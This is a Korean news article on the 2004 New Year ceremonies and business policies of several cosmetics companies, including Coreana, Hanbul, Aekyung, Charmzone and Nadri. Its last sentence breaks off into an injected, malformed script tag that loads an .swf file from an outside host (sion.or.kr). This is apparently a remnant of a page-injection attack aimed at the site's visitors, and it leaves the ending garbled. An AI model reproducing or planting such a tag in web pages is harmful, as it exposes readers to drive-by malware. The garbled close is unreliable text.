코리아나화장품(대표이사 사장 박찬원)은 2일 본사 3층 대강당 시무식에서 2004년도의 경영지표로 ‘새로운 도전’을 선포하고, 이에 따른 경영방침에는 브랜드력 강화·조직력 강화·책임 경영 체제 확립의 비전을 제시하며, 21세기 경쟁력을 갖춘 기업으로 도약하는 한해를 선언했다.
유상옥 회장은 “정도경영과 기업가 정신을 바탕으로 한 의식개혁과 개인 및 조직 역량 강화를 통해 세계 일류 기업으로의 성장을 지속하고, 다양한 신 사업을 전개해나갈 계획”이라고 비전을 밝혔다.
책임경영으로 수익성 강화
한불화장품(대표 임병철)이 2004년 시무식을 갖고 새로운 목표를 향한 의지를 다졌다. 지난 2일 대표이사를 비롯한 임직원 2백여 명이 참석한 가운데 진행된 2004년 시무식에서 임병철 대표는 신년사를 통해 “IMF 경제위기에 비유될 만큼 어려웠던 지난해 안정적인 경영활동을 위해 부단히 노력해준 한불 전가족의 노고에 감사한다”며 “2004년에는 내부적으로는 각 사업부의 독자적인 책임경영 시스템을 근간으로 전 사업부문의 수익성 시스템 경영 틀이 탄탄하게 이루어질 수 있도록 할 것”이라고 강조했다.
신제품 개발 통한 히트 상품 육성
한국화장품(대표 김두환)은 2일 본사 지하 강당 및 각 지점별로 전 임직원들이 참가한 가운데 시무식을 거행했다.
김두환 대표는 “지난 2003년은 IMF때보다도 더 어려운 경제 상황이었다”며 “매출부진의 어려움 등은 우리 모두의 힘이 부족했다는 것을 겸허하게 반성하고, 2004년은 각종 원칙과 기준을 분명하게 합리적으로 지켜 ‘매출목표 달성’, ‘매사에 책임 있는 일처리’,‘거래처 조직 육성’등을 시행해 나가자”고 말했다. 한편, 시무식에서 ‘정도경영, 책임경영, 수익경영, 조직육성, 현장경영’ 등 5가지의 2004년 경영방침이 발표됐다.
“세계 속의 1등 애경 만들자”
애경산업(대표 안용찬)은 지난 2일 임직원들이 참석한 가운데 본사 대강당에서 ‘2004년 시무식’을 실시했다.
장영신 그룹 회장은 “올해 창립 50주년을 맞는 애경이 창립 100주년을 맞이하기 위해서는 1등 제품을 만들어내고 세계시장을 장악하겠다는 큰 목표와 결연한 의지로써 부단한 노력을 경주해야 한다”고 강조했다.
애경산업은 2004년 경영방침을 △캐시 플루 경영 △선택과 집중 △고객 중시 경영으로 정하고 중장기적으로 지속적인 성장역량을 구축하는 데 중점을 두기로 했다.
“이제는 글로벌 참존”
참존(대표 김광석)은 2004년 새해를 맞아 지난 2일 시무식을 갖고 새해 업무를 시작하였다.
김광석 참존 회장은 신년사를 통해 올해의 경영 테마로 ‘고객 감동’을 강조하며, “세계적인 명품 생산을 바탕으로 고객 로열티를 강화시킬 것”이라고 힘주어 말했다.
또한 “R&D에 역량을 집중화하여 기초 시장에서 명품 브랜드로서 브랜드 가치를 극대화하는 동시에, 유통경로 다변화에 따른 선택과 집중의 효율성을 높이고 해외 마케팅에 전력을 기울일 것”이라고 밝혔다.
기업가치 향상 위한 성장 모델 찾자
엔프라니(대표 김해관)는 2일 2004년을 맞는 시무식을 가졌다. 김해관 대표는 신년사에서 2004년 엔프라니가 추구해야 할 3가지 경영 방향을 △첫 번째, 성장을 위한 브랜드 사업화 모델 개발 △두 번째, 수익력 있는 사업구조 정착 △세 번째는 엔프라니 스타일의 기업문화 구축 등으로 제시했다.
김해관 대표는 이어 2004년 임직원 모두가 상호 신뢰를 바탕으로 한 조화로 제2의 도약을 위해 함께 노력해줄 것을 당부했다.
‘고효율 내실 경영 실천’ 선언
나드리화장품(대표 박경수)은 지난 2일 박경수 사장 이하 임직원이 참석한 가운데 본사 8층 강당에서 시무식을 갖고 새해 영업의 포문을 열었다. 나드리화장품은 ‘고효율 내실경영의 실천’을 통한 기업경쟁력을 강화하기 위해 △신기업 문화 조성 △시장대응력 강화 △수익가치 실현의 경영방침을 실천해 나갈 계획?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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